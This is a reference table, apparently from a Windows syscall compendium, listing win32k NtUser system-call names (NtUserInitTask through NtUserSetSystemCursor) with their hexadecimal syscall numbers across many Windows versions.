NtUserHwndQueryRedirectionInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1337   
NtUserHwndSetRedirectionInfo |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1338   
NtUserImpersonateDdeClientWindow |  |  |  |  0x1190  |  |  |  0x11ad  |  |  0x11ad  |  |  0x11bd  |  0x11bd  |  0x11bd  |  |  0x11bc  |  0x11bc  |  0x11ce  |  0x11ce  |  0x11ce  |  |  0x11ce  |  |  0x11d8   
NtUserInitBrushes |  |  |  |  0x1191  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserInitTask |  |  |  |  0x1194  |  |  |  0x11b0  |  |  0x11b0  |  |  0x11c0  |  0x11c0  |  0x11c0  |  |  0x11bf  |  0x11bf  |  0x11d1  |  0x11d1  |  0x11d1  |  |  0x11d1  |  |  0x11db   
NtUserInitialize |  |  |  |  0x1192  |  |  |  0x11ae  |  |  0x11ae  |  |  0x11be  |  0x11be  |  0x11be  |  |  0x11bd  |  0x11bd  |  0x11cf  |  0x11cf  |  0x11cf  |  |  0x11cf  |  |  0x11d9   
NtUserInitializeClientPfnArrays |  |  |  |  0x1193  |  |  |  0x11af  |  |  0x11af  |  |  0x11bf  |  0x11bf  |  0x11bf  |  |  0x11be  |  0x11be  |  0x11d0  |  0x11d0  |  0x11d0  |  |  0x11d0  |  |  0x11da   
NtUserInjectGesture |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1292   
NtUserInternalGetWindowIcon |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11d3  |  0x11d3  |  0x11d3  |  |  0x11d3  |  |  0x11dd   
NtUserInternalGetWindowText |  |  |  |  0x1195  |  |  |  0x11b1  |  |  0x11b1  |  |  0x11c1  |  0x11c1  |  0x11c1  |  |  0x11c0  |  0x11c0  |  0x11d2  |  0x11d2  |  0x11d2  |  |  0x11d2  |  |  0x11dc   
NtUserInvalidateRect |  |  |  |  0x1196  |  |  |  0x11b2  |  |  0x11b2  |  |  0x11c2  |  0x11c2  |  0x11c2  |  |  0x11c1  |  0x11c1  |  0x11d4  |  0x11d4  |  0x11d4  |  |  0x11d4  |  |  0x11de   
NtUserInvalidateRgn |  |  |  |  0x1197  |  |  |  0x11b3  |  |  0x11b3  |  |  0x11c3  |  0x11c3  |  0x11c3  |  |  0x11c2  |  0x11c2  |  0x11d5  |  0x11d5  |  0x11d5  |  |  0x11d5  |  |  0x11df   
NtUserIsClipboardFormatAvailable |  |  |  |  0x1198  |  |  |  0x11b4  |  |  0x11b4  |  |  0x11c4  |  0x11c4  |  0x11c4  |  |  0x11c3  |  0x11c3  |  0x11d6  |  0x11d6  |  0x11d6  |  |  0x11d6  |  |  0x11e0   
NtUserIsTopLevelWindow |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11e1   
NtUserIsTouchWindow |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x128d   
NtUserKillTimer |  |  |  |  0x1199  |  |  |  0x11b5  |  |  0x11b5  |  |  0x11c5  |  0x11c5  |  0x11c5  |  |  0x11c4  |  0x11c4  |  0x11d7  |  0x11d7  |  0x11d7  |  |  0x11d7  |  |  0x11e2   
NtUserLoadKeyboardLayoutEx |  |  |  |  0x119a  |  |  |  0x11b6  |  |  0x11b6  |  |  0x11c6  |  0x11c6  |  0x11c6  |  |  0x11c5  |  0x11c5  |  0x11d8  |  0x11d8  |  0x11d8  |  |  0x11d8  |  |  0x11e3   
NtUserLockWindowStation |  |  |  |  0x119b  |  |  |  0x11b7  |  |  0x11b7  |  |  0x11c7  |  0x11c7  |  0x11c7  |  |  0x11c6  |  0x11c6  |  0x11d9  |  0x11d9  |  0x11d9  |  |  0x11d9  |  |  0x11e4   
NtUserLockWindowUpdate |  |  |  |  0x119c  |  |  |  0x11b8  |  |  0x11b8  |  |  0x11c8  |  0x11c8  |  0x11c8  |  |  0x11c7  |  0x11c7  |  0x11da  |  0x11da  |  0x11da  |  |  0x11da  |  |  0x11e5   
NtUserLockWorkStation |  |  |  |  |  |  |  0x11b9  |  |  0x11b9  |  |  0x11c9  |  0x11c9  |  0x11c9  |  |  0x11c8  |  0x11c8  |  0x11db  |  0x11db  |  0x11db  |  |  0x11db  |  |  0x11e6   
NtUserLogicalToPhysicalPoint |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11dc  |  0x11dc  |  0x11dc  |  |  0x11dc  |  |  0x11e7   
NtUserMNDragLeave |  |  |  |  |  |  |  0x11be  |  |  0x11be  |  |  0x11ce  |  0x11ce  |  0x11ce  |  |  0x11cd  |  0x11cd  |  0x11e1  |  0x11e1  |  0x11e1  |  |  0x11e1  |  |  0x11ec   
NtUserMNDragOver |  |  |  |  |  |  |  0x11bf  |  |  0x11bf  |  |  0x11cf  |  0x11cf  |  0x11cf  |  |  0x11ce  |  0x11ce  |  0x11e2  |  0x11e2  |  0x11e2  |  |  0x11e2  |  |  0x11ed   
NtUserMagControl |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1334   
NtUserMagGetContextInformation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1336   
NtUserMagSetContextInformation |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1335   
NtUserManageGestureHandlerWindow |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1295   
NtUserMapVirtualKeyEx |  |  |  |  0x119d  |  |  |  0x11ba  |  |  0x11ba  |  |  0x11ca  |  0x11ca  |  0x11ca  |  |  0x11c9  |  0x11c9  |  0x11dd  |  0x11dd  |  0x11dd  |  |  0x11dd  |  |  0x11e8   
NtUserMenuItemFromPoint |  |  |  |  0x119e  |  |  |  0x11bb  |  |  0x11bb  |  |  0x11cb  |  0x11cb  |  0x11cb  |  |  0x11ca  |  0x11ca  |  0x11de  |  0x11de  |  0x11de  |  |  0x11de  |  |  0x11e9   
NtUserMessageCall |  |  |  |  |  |  |  0x11bc  |  |  0x11bc  |  |  0x11cc  |  0x11cc  |  0x11cc  |  |  0x11cb  |  0x11cb  |  0x11df  |  0x11df  |  0x11df  |  |  0x11df  |  |  0x11ea   
NtUserMinMaximize |  |  |  |  0x119f  |  |  |  0x11bd  |  |  0x11bd  |  |  0x11cd  |  0x11cd  |  0x11cd  |  |  0x11cc  |  0x11cc  |  0x11e0  |  0x11e0  |  0x11e0  |  |  0x11e0  |  |  0x11eb   
NtUserModifyUserStartupInfoFlags |  |  |  |  |  |  |  0x11c0  |  |  0x11c0  |  |  0x11d0  |  0x11d0  |  0x11d0  |  |  0x11cf  |  0x11cf  |  0x11e3  |  0x11e3  |  0x11e3  |  |  0x11e3  |  |  0x11ee   
NtUserModifyWindowTouchCapability |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x128c   
NtUserMoveWindow |  |  |  |  0x11a0  |  |  |  0x11c1  |  |  0x11c1  |  |  0x11d1  |  0x11d1  |  0x11d1  |  |  0x11d0  |  0x11d0  |  0x11e4  |  0x11e4  |  0x11e4  |  |  0x11e4  |  |  0x11ef   
NtUserNotifyIMEStatus |  |  |  |  |  |  |  0x11c2  |  |  0x11c2  |  |  0x11d2  |  0x11d2  |  0x11d2  |  |  0x11d1  |  0x11d1  |  0x11e5  |  0x11e5  |  0x11e5  |  |  0x11e5  |  |  0x11f0   
NtUserNotifyProcessCreate |  |  |  |  0x11a1  |  |  |  0x11c3  |  |  0x11c3  |  |  0x11d3  |  0x11d3  |  0x11d3  |  |  0x11d2  |  0x11d2  |  0x11e6  |  0x11e6  |  0x11e6  |  |  0x11e6  |  |  0x11f1   
NtUserNotifyWinEvent |  |  |  |  0x11a2  |  |  |  0x11c4  |  |  0x11c4  |  |  0x11d4  |  0x11d4  |  0x11d4  |  |  0x11d3  |  0x11d3  |  0x11e7  |  0x11e7  |  0x11e7  |  |  0x11e7  |  |  0x11f2   
NtUserOpenClipboard |  |  |  |  0x11a3  |  |  |  0x11c5  |  |  0x11c5  |  |  0x11d5  |  0x11d5  |  0x11d5  |  |  0x11d4  |  0x11d4  |  0x11e8  |  0x11e8  |  0x11e8  |  |  0x11e8  |  |  0x11f3   
NtUserOpenDesktop |  |  |  |  0x11a4  |  |  |  0x11c6  |  |  0x11c6  |  |  0x11d6  |  0x11d6  |  0x11d6  |  |  0x11d5  |  0x11d5  |  0x11e9  |  0x11e9  |  0x11e9  |  |  0x11e9  |  |  0x11f4   
NtUserOpenInputDesktop |  |  |  |  0x11a5  |  |  |  0x11c7  |  |  0x11c7  |  |  0x11d7  |  0x11d7  |  0x11d7  |  |  0x11d6  |  0x11d6  |  0x11ea  |  0x11ea  |  0x11ea  |  |  0x11ea  |  |  0x11f5   
NtUserOpenThreadDesktop |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11eb  |  0x11eb  |  0x11eb  |  |  0x11eb  |  |  0x11f6   
NtUserOpenWindowStation |  |  |  |  0x11a6  |  |  |  0x11c8  |  |  0x11c8  |  |  0x11d8  |  0x11d8  |  0x11d8  |  |  0x11d7  |  0x11d7  |  0x11ec  |  0x11ec  |  0x11ec  |  |  0x11ec  |  |  0x11f7   
NtUserPaintDesktop |  |  |  |  0x11a7  |  |  |  0x11c9  |  |  0x11c9  |  |  0x11d9  |  0x11d9  |  0x11d9  |  |  0x11d8  |  0x11d8  |  0x11ed  |  0x11ed  |  0x11ed  |  |  0x11ed  |  |  0x11f8   
NtUserPaintMenuBar |  |  |  |  |  |  |  |  |  |  |  0x1237  |  0x1237  |  0x1237  |  |  0x1233  |  0x1233  |  0x124f  |  0x124f  |  0x124f  |  |  0x124f  |  |  0x125c   
NtUserPaintMonitor |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11ee  |  0x11ee  |  0x11ee  |  |  0x11ee  |  |  0x11f9   
NtUserPeekMessage |  |  |  |  0x11a8  |  |  |  0x11ca  |  |  0x11ca  |  |  0x11da  |  0x11da  |  0x11da  |  |  0x11d9  |  0x11d9  |  0x11ef  |  0x11ef  |  0x11ef  |  |  0x11ef  |  |  0x11fa   
NtUserPhysicalToLogicalPoint |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11f0  |  0x11f0  |  0x11f0  |  |  0x11f0  |  |  0x11fb   
NtUserPlayEventSound |  |  |  |  0x11a9  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserPostMessage |  |  |  |  0x11aa  |  |  |  0x11cb  |  |  0x11cb  |  |  0x11db  |  0x11db  |  0x11db  |  |  0x11da  |  0x11da  |  0x11f1  |  0x11f1  |  0x11f1  |  |  0x11f1  |  |  0x11fc   
NtUserPostThreadMessage |  |  |  |  0x11ab  |  |  |  0x11cc  |  |  0x11cc  |  |  0x11dc  |  0x11dc  |  0x11dc  |  |  0x11db  |  0x11db  |  0x11f2  |  0x11f2  |  0x11f2  |  |  0x11f2  |  |  0x11fd   
NtUserPrintWindow |  |  |  |  |  |  |  |  |  |  |  0x11dd  |  0x11dd  |  0x11dd  |  |  0x11dc  |  0x11dc  |  0x11f3  |  0x11f3  |  0x11f3  |  |  0x11f3  |  |  0x11fe   
NtUserProcessConnect |  |  |  |  0x11ac  |  |  |  0x11cd  |  |  0x11cd  |  |  0x11de  |  0x11de  |  0x11de  |  |  0x11dd  |  0x11dd  |  0x11f4  |  0x11f4  |  0x11f4  |  |  0x11f4  |  |  0x11ff   
NtUserQueryDisplayConfig |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1154   
NtUserQueryInformationThread |  |  |  |  0x11ad  |  |  |  0x11ce  |  |  0x11ce  |  |  0x11df  |  0x11df  |  0x11df  |  |  0x11de  |  0x11de  |  0x11f5  |  0x11f5  |  0x11f5  |  |  0x11f5  |  |  0x1200   
NtUserQueryInputContext |  |  |  |  |  |  |  0x11cf  |  |  0x11cf  |  |  0x11e0  |  0x11e0  |  0x11e0  |  |  0x11df  |  0x11df  |  0x11f6  |  0x11f6  |  0x11f6  |  |  0x11f6  |  |  0x1201   
NtUserQuerySendMessage |  |  |  |  0x11ae  |  |  |  0x11d0  |  |  0x11d0  |  |  0x11e1  |  0x11e1  |  0x11e1  |  |  0x11e0  |  0x11e0  |  0x11f7  |  0x11f7  |  0x11f7  |  |  0x11f7  |  |  0x1202   
NtUserQueryUserCounters |  |  |  |  |  |  |  0x11d1  |  |  0x11d1  |  |  0x11e2  |  0x11e2  |  0x11e2  |  |  |  |  |  |  |  |  |  |   
NtUserQueryWindow |  |  |  |  0x11af  |  |  |  0x11d2  |  |  0x11d2  |  |  0x11e3  |  0x11e3  |  0x11e3  |  |  0x11e1  |  0x11e1  |  0x11f8  |  0x11f8  |  0x11f8  |  |  0x11f8  |  |  0x1203   
NtUserRealChildWindowFromPoint |  |  |  |  0x11b0  |  |  |  0x11d3  |  |  0x11d3  |  |  0x11e4  |  0x11e4  |  0x11e4  |  |  0x11e2  |  0x11e2  |  0x11f9  |  0x11f9  |  0x11f9  |  |  0x11f9  |  |  0x1204   
NtUserRealInternalGetMessage |  |  |  |  |  |  |  |  |  |  |  0x11e5  |  0x11e5  |  0x11e5  |  |  0x11e3  |  0x11e3  |  0x11fa  |  0x11fa  |  0x11fa  |  |  0x11fa  |  |  0x1205   
NtUserRealWaitMessageEx |  |  |  |  |  |  |  |  |  |  |  0x11e6  |  0x11e6  |  0x11e6  |  |  0x11e4  |  0x11e4  |  0x11fb  |  0x11fb  |  0x11fb  |  |  0x11fb  |  |  0x1206   
NtUserRedrawWindow |  |  |  |  0x11b1  |  |  |  0x11d4  |  |  0x11d4  |  |  0x11e7  |  0x11e7  |  0x11e7  |  |  0x11e5  |  0x11e5  |  0x11fc  |  0x11fc  |  0x11fc  |  |  0x11fc  |  |  0x1207   
NtUserRegisterClassExWOW |  |  |  |  0x11b2  |  |  |  0x11d5  |  |  0x11d5  |  |  0x11e8  |  0x11e8  |  0x11e8  |  |  0x11e6  |  0x11e6  |  0x11fd  |  0x11fd  |  0x11fd  |  |  0x11fd  |  |  0x1208   
NtUserRegisterClipboardFormat |  |  |  |  0x11b3  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserRegisterErrorReportingDialog |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x11fe  |  0x11fe  |  0x11fe  |  |  0x11fe  |  |  0x1209   
NtUserRegisterHotKey |  |  |  |  0x11b4  |  |  |  0x11d6  |  |  0x11d6  |  |  0x11ea  |  0x11ea  |  0x11ea  |  |  0x11e8  |  0x11e8  |  0x1200  |  0x1200  |  0x1200  |  |  0x1200  |  |  0x120b   
NtUserRegisterRawInputDevices |  |  |  |  |  |  |  |  |  |  |  0x11eb  |  0x11eb  |  0x11eb  |  |  0x11e9  |  0x11e9  |  0x1201  |  0x1201  |  0x1201  |  |  0x1201  |  |  0x120c   
NtUserRegisterServicesProcess |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x120d   
NtUserRegisterSessionPort |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1270  |  0x1270  |  0x1270  |  |  0x1270  |  |  0x127c   
NtUserRegisterTasklist |  |  |  |  0x11b5  |  |  |  0x11d7  |  |  0x11d7  |  |  0x11ec  |  0x11ec  |  0x11ec  |  |  0x11ea  |  0x11ea  |  0x1202  |  0x1202  |  0x1202  |  |  0x1202  |  |  0x120e   
NtUserRegisterUserApiHook |  |  |  |  |  |  |  |  |  |  |  0x11e9  |  0x11e9  |  0x11e9  |  |  0x11e7  |  0x11e7  |  0x11ff  |  0x11ff  |  0x11ff  |  |  0x11ff  |  |  0x120a   
NtUserRegisterWindowMessage |  |  |  |  0x11b6  |  |  |  0x11d8  |  |  0x11d8  |  |  0x11ed  |  0x11ed  |  0x11ed  |  |  0x11eb  |  0x11eb  |  0x1203  |  0x1203  |  0x1203  |  |  0x1203  |  |  0x120f   
NtUserRemoteConnect |  |  |  |  |  |  |  0x123a  |  |  0x123a  |  |  0x1252  |  0x1252  |  0x1252  |  |  0x124e  |  0x124e  |  0x126b  |  0x126b  |  0x126b  |  |  0x126b  |  |  0x1277   
NtUserRemoteRedrawRectangle |  |  |  |  |  |  |  0x123b  |  |  0x123b  |  |  0x1253  |  0x1253  |  0x1253  |  |  0x124f  |  0x124f  |  0x126c  |  0x126c  |  0x126c  |  |  0x126c  |  |  0x1278   
NtUserRemoteRedrawScreen |  |  |  |  |  |  |  0x123c  |  |  0x123c  |  |  0x1254  |  0x1254  |  0x1254  |  |  0x1250  |  0x1250  |  0x126d  |  0x126d  |  0x126d  |  |  0x126d  |  |  0x1279   
NtUserRemoteStopScreenUpdates |  |  |  |  |  |  |  0x123d  |  |  0x123d  |  |  0x1255  |  0x1255  |  0x1255  |  |  0x1251  |  0x1251  |  0x126e  |  0x126e  |  0x126e  |  |  0x126e  |  |  0x127a   
NtUserRemoveClipboardFormatListener |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1204  |  0x1204  |  0x1204  |  |  0x1204  |  |  0x1210   
NtUserRemoveMenu |  |  |  |  0x11b7  |  |  |  0x11d9  |  |  0x11d9  |  |  0x11ee  |  0x11ee  |  0x11ee  |  |  0x11ec  |  0x11ec  |  0x1205  |  0x1205  |  0x1205  |  |  0x1205  |  |  0x1211   
NtUserRemoveProp |  |  |  |  0x11b8  |  |  |  0x11da  |  |  0x11da  |  |  0x11ef  |  0x11ef  |  0x11ef  |  |  0x11ed  |  0x11ed  |  0x1206  |  0x1206  |  0x1206  |  |  0x1206  |  |  0x1212   
NtUserResolveDesktop |  |  |  |  0x11b9  |  |  |  0x11db  |  |  0x11db  |  |  0x11f0  |  0x11f0  |  0x11f0  |  |  0x11ee  |  0x11ee  |  0x1207  |  0x1207  |  0x1207  |  |  0x1207  |  |   
NtUserResolveDesktopForWOW |  |  |  |  |  |  |  0x11dc  |  |  0x11dc  |  |  0x11f1  |  0x11f1  |  0x11f1  |  |  0x11ef  |  0x11ef  |  0x1208  |  0x1208  |  0x1208  |  |  0x1208  |  |  0x1213   
NtUserSBGetParms |  |  |  |  0x11ba  |  |  |  0x11dd  |  |  0x11dd  |  |  0x11f2  |  0x11f2  |  0x11f2  |  |  0x11f0  |  0x11f0  |  0x1209  |  0x1209  |  0x1209  |  |  0x1209  |  |  0x1214   
NtUserScrollDC |  |  |  |  0x11bb  |  |  |  0x11de  |  |  0x11de  |  |  0x11f3  |  0x11f3  |  0x11f3  |  |  0x11f1  |  0x11f1  |  0x120a  |  0x120a  |  0x120a  |  |  0x120a  |  |  0x1215   
NtUserScrollWindowEx |  |  |  |  0x11bc  |  |  |  0x11df  |  |  0x11df  |  |  0x11f4  |  0x11f4  |  0x11f4  |  |  0x11f2  |  0x11f2  |  0x120b  |  0x120b  |  0x120b  |  |  0x120b  |  |  0x1216   
NtUserSelectPalette |  |  |  |  0x11bd  |  |  |  0x11e0  |  |  0x11e0  |  |  0x11f5  |  0x11f5  |  0x11f5  |  |  0x11f3  |  0x11f3  |  0x120c  |  0x120c  |  0x120c  |  |  0x120c  |  |  0x1217   
NtUserSendInput |  |  |  |  0x11be  |  |  |  0x11e1  |  |  0x11e1  |  |  0x11f6  |  0x11f6  |  0x11f6  |  |  0x11f4  |  0x11f4  |  0x120d  |  0x120d  |  0x120d  |  |  0x120d  |  |  0x1218   
NtUserSendMessageCallback |  |  |  |  0x11bf  |  |  |  0x11e2  |  |  0x11e2  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserSendNotifyMessage |  |  |  |  0x11c0  |  |  |  0x11e3  |  |  0x11e3  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserSendTouchInput |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x128e   
NtUserSetActiveWindow |  |  |  |  0x11c1  |  |  |  0x11e4  |  |  0x11e4  |  |  0x11f7  |  0x11f7  |  0x11f7  |  |  0x11f5  |  0x11f5  |  0x120e  |  0x120e  |  0x120e  |  |  0x120e  |  |  0x1219   
NtUserSetAppImeLevel |  |  |  |  |  |  |  0x11e5  |  |  0x11e5  |  |  0x11f8  |  0x11f8  |  0x11f8  |  |  0x11f6  |  0x11f6  |  0x120f  |  0x120f  |  0x120f  |  |  0x120f  |  |  0x121a   
NtUserSetCapture |  |  |  |  0x11c2  |  |  |  0x11e6  |  |  0x11e6  |  |  0x11f9  |  0x11f9  |  0x11f9  |  |  0x11f7  |  0x11f7  |  0x1210  |  0x1210  |  0x1210  |  |  0x1210  |  |  0x121b   
NtUserSetChildWindowNoActivate |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x121c   
NtUserSetClassLong |  |  |  |  0x11c3  |  |  |  0x11e7  |  |  0x11e7  |  |  0x11fa  |  0x11fa  |  0x11fa  |  |  0x11f8  |  0x11f8  |  0x1211  |  0x1211  |  0x1211  |  |  0x1211  |  |  0x121d   
NtUserSetClassWord |  |  |  |  0x11c4  |  |  |  0x11e8  |  |  0x11e8  |  |  0x11fb  |  0x11fb  |  0x11fb  |  |  0x11f9  |  0x11f9  |  0x1212  |  0x1212  |  0x1212  |  |  0x1212  |  |  0x121e   
NtUserSetClipboardData |  |  |  |  0x11c5  |  |  |  0x11e9  |  |  0x11e9  |  |  0x11fc  |  0x11fc  |  0x11fc  |  |  0x11fa  |  0x11fa  |  0x1213  |  0x1213  |  0x1213  |  |  0x1213  |  |  0x121f   
NtUserSetClipboardViewer |  |  |  |  0x11c6  |  |  |  0x11ea  |  |  0x11ea  |  |  0x11fd  |  0x11fd  |  0x11fd  |  |  0x11fb  |  0x11fb  |  0x1214  |  0x1214  |  0x1214  |  |  0x1214  |  |  0x1220   
NtUserSetConsoleReserveKeys |  |  |  |  0x11c7  |  |  |  0x11eb  |  |  0x11eb  |  |  0x11fe  |  0x11fe  |  0x11fe  |  |  0x11fc  |  0x11fc  |  0x1215  |  0x1215  |  0x1215  |  |  0x1215  |  |   
NtUserSetCursor |  |  |  |  0x11c8  |  |  |  0x11ec  |  |  0x11ec  |  |  0x11ff  |  0x11ff  |  0x11ff  |  |  0x11fd  |  0x11fd  |  0x1216  |  0x1216  |  0x1216  |  |  0x1216  |  |  0x1221   
NtUserSetCursorContents |  |  |  |  0x11c9  |  |  |  0x11ed  |  |  0x11ed  |  |  0x1200  |  0x1200  |  0x1200  |  |  0x11fe  |  0x11fe  |  0x1217  |  0x1217  |  0x1217  |  |  0x1217  |  |  0x1222   
NtUserSetCursorIconData |  |  |  |  0x11ca  |  |  |  0x11ee  |  |  0x11ee  |  |  0x1201  |  0x1201  |  0x1201  |  |  0x11ff  |  0x11ff  |  0x1218  |  0x1218  |  0x1218  |  |  0x1218  |  |  0x1223   
NtUserSetDbgTag |  |  |  |  |  |  |  0x11ef  |  |  0x11ef  |  |  0x1202  |  0x1202  |  0x1202  |  |  |  |  |  |  |  |  |  |   
NtUserSetDebugErrorLevel |  |  |  |  0x11cb  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |   
NtUserSetDisplayConfig |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1153   
NtUserSetFocus |  |  |  |  0x11cc  |  |  |  0x11f0  |  |  0x11f0  |  |  0x1203  |  0x1203  |  0x1203  |  |  0x1200  |  0x1200  |  0x1219  |  0x1219  |  0x1219  |  |  0x1219  |  |  0x1224   
NtUserSetGestureConfig |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1296   
NtUserSetImeHotKey |  |  |  |  |  |  |  0x11f1  |  |  0x11f1  |  |  0x1204  |  0x1204  |  0x1204  |  |  0x1201  |  0x1201  |  0x121a  |  0x121a  |  0x121a  |  |  0x121a  |  |  0x1225   
NtUserSetImeInfoEx |  |  |  |  |  |  |  0x11f2  |  |  0x11f2  |  |  0x1205  |  0x1205  |  0x1205  |  |  0x1202  |  0x1202  |  0x121b  |  0x121b  |  0x121b  |  |  0x121b  |  |  0x1226   
NtUserSetImeOwnerWindow |  |  |  |  |  |  |  0x11f3  |  |  0x11f3  |  |  0x1206  |  0x1206  |  0x1206  |  |  0x1203  |  0x1203  |  0x121c  |  0x121c  |  0x121c  |  |  0x121c  |  |  0x1227   
NtUserSetInformationProcess |  |  |  |  |  |  |  0x11f4  |  |  0x11f4  |  |  0x1207  |  0x1207  |  0x1207  |  |  0x1204  |  0x1204  |  0x121d  |  0x121d  |  0x121d  |  |  0x121d  |  |   
NtUserSetInformationThread |  |  |  |  0x11cd  |  |  |  0x11f5  |  |  0x11f5  |  |  0x1208  |  0x1208  |  0x1208  |  |  0x1205  |  0x1205  |  0x121e  |  0x121e  |  0x121e  |  |  0x121e  |  |  0x1228   
NtUserSetInternalWindowPos |  |  |  |  0x11ce  |  |  |  0x11f6  |  |  0x11f6  |  |  0x1209  |  0x1209  |  0x1209  |  |  0x1206  |  0x1206  |  0x121f  |  0x121f  |  0x121f  |  |  0x121f  |  |  0x1229   
NtUserSetKeyboardState |  |  |  |  0x11cf  |  |  |  0x11f7  |  |  0x11f7  |  |  0x120a  |  0x120a  |  0x120a  |  |  0x1207  |  0x1207  |  0x1220  |  0x1220  |  0x1220  |  |  0x1220  |  |  0x122a   
NtUserSetLayeredWindowAttributes |  |  |  |  |  |  |  0x122e  |  |  0x122e  |  |  0x1245  |  0x1245  |  0x1245  |  |  0x1241  |  0x1241  |  0x125d  |  0x125d  |  0x125d  |  |  0x125d  |  |  0x126a   
NtUserSetLogonNotifyWindow |  |  |  |  0x11d0  |  |  |  0x11f8  |  |  0x11f8  |  |  0x120b  |  0x120b  |  0x120b  |  |  0x1208  |  0x1208  |  |  |  |  |  |  |   
NtUserSetMenu |  |  |  |  0x11d1  |  |  |  0x11f9  |  |  0x11f9  |  |  0x120c  |  0x120c  |  0x120c  |  |  0x1209  |  0x1209  |  0x1221  |  0x1221  |  0x1221  |  |  0x1221  |  |  0x122b   
NtUserSetMenuContextHelpId |  |  |  |  0x11d2  |  |  |  0x11fa  |  |  0x11fa  |  |  0x120d  |  0x120d  |  0x120d  |  |  0x120a  |  0x120a  |  0x1222  |  0x1222  |  0x1222  |  |  0x1222  |  |  0x122c   
NtUserSetMenuDefaultItem |  |  |  |  0x11d3  |  |  |  0x11fb  |  |  0x11fb  |  |  0x120e  |  0x120e  |  0x120e  |  |  0x120b  |  0x120b  |  0x1223  |  0x1223  |  0x1223  |  |  0x1223  |  |  0x122d   
NtUserSetMenuFlagRtoL |  |  |  |  |  |  |  0x11fc  |  |  0x11fc  |  |  0x120f  |  0x120f  |  0x120f  |  |  0x120c  |  0x120c  |  0x1224  |  0x1224  |  0x1224  |  |  0x1224  |  |  0x122e   
NtUserSetMirrorRendering |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1302  |  0x1302  |  0x1302  |  |  0x1302  |  |  0x1332   
NtUserSetObjectInformation |  |  |  |  0x11d4  |  |  |  0x11fd  |  |  0x11fd  |  |  0x1210  |  0x1210  |  0x1210  |  |  0x120d  |  0x120d  |  0x1225  |  0x1225  |  0x1225  |  |  0x1225  |  |  0x122f   
NtUserSetParent |  |  |  |  0x11d5  |  |  |  0x11fe  |  |  0x11fe  |  |  0x1211  |  0x1211  |  0x1211  |  |  0x120e  |  0x120e  |  0x1226  |  0x1226  |  0x1226  |  |  0x1226  |  |  0x1230   
NtUserSetProcessDPIAware |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  0x1234  |  0x1234  |  0x1234  |  |  0x1234  |  |  0x123e   
NtUserSetProcessWindowStation |  |  |  |  0x11d6  |  |  |  0x11ff  |  |  0x11ff  |  |  0x1212  |  0x1212  |  0x1212  |  |  0x120f  |  0x120f  |  0x1227  |  0x1227  |  0x1227  |  |  0x1227  |  |  0x1231   
NtUserSetProp |  |  |  |  0x11d7  |  |  |  0x1200  |  |  0x1200  |  |  0x1213  |  0x1213  |  0x1213  |  |  0x1210  |  0x1210  |  0x1229  |  0x1229  |  0x1229  |  |  0x1229  |  |  0x1233   
NtUserSetRipFlags |  |  |  |  |  |  |  0x1201  |  |  0x1201  |  |  0x1214  |  0x1214  |  0x1214  |  |  |  |  |  |  |  |  |  |   
NtUserSetScrollInfo |  |  |  |  0x11d8  |  |  |  0x1202  |  |  0x1202  |  |  0x1215  |  0x1215  |  0x1215  |  |  0x1211  |  0x1211  |  0x122a  |  0x122a  |  0x122a  |  |  0x122a  |  |  0x1234   
NtUserSetShellWindowEx |  |  |  |  0x11d9  |  |  |  0x1203  |  |  0x1203  |  |  0x1216  |  0x1216  |  0x1216  |  |  0x1212  |  0x1212  |  0x122b  |  0x122b  |  0x122b  |  |  0x122b  |  |  0x1235   
NtUserSetSysColors |  |  |  |  0x11da  |  |  |  0x1204  |  |  0x1204  |  |  0x1217  |  0x1217  |  0x1217  |  |  0x1213  |  0x1213  |  0x122c  |  0x122c  |  0x122c  |  |  0x122c  |  |  0x1236   
NtUserSetSystemCursor |  |  |  |  0x11db  |  |  |  0x1205  |  |  0x1205  |  |  0x1218  |  0x1218  |  0x1218  |  |  0x1214  |  0x1214  |  0x122d  |  0x122d  |  0x122d  |  |  0x122d  |  |  0x1237   
